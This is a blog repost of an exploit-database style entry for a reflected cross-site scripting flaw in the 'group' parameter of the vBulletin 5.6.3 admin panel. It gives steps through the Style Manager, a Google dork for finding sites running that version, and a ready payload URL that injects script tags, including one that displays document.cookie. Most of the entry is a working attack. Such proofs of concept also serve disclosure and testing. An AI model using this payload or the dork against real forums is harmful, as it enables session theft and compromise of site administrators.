Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86397205

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: vBulletin 5.6.3 - 'group' Cross Site Scripting
# Date: 05.09.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://www.vbulletin.com/en/features/
# Tested on: Windows 10
# Web Browser: Mozilla Firefox & Opera
# Google Dorks: "Powered by vBulletin® Version 5.6.3"
# Blog: https://pentestvincent.blogspot.com/2020/11/vbulletin-563-admin-cp-multiple.html

Go to the "Admin CP" - click on "Styles" - click "Style Manager" -
Choose "Denim" or other theme and choose action "Add new template" and
click "Go".

Put on the title "1" and template "1" and "Save and Reload". Now you
can catch the new URL with HTTP Live Headers or with hands.

So..we have Url :

https://localhost/admincp/template.php?templateid=608&group=&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=168&textareaScrollTop=0

Test it with hands and get cross site scripting. Use for tests
different browsers. I use Mozilla Firefox and Opera.

https://localhost/admincp/template.php?templateid=1&group=""><script>alert("Cross
Site Scripting")</script><script>alert(document.cookie)</script>&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=

Picture:

https://imgur.com/a/b6gH5Fn